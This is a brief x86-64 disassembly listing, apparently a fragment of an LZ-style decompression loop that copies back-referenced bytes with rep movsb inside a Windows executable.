sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14060b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20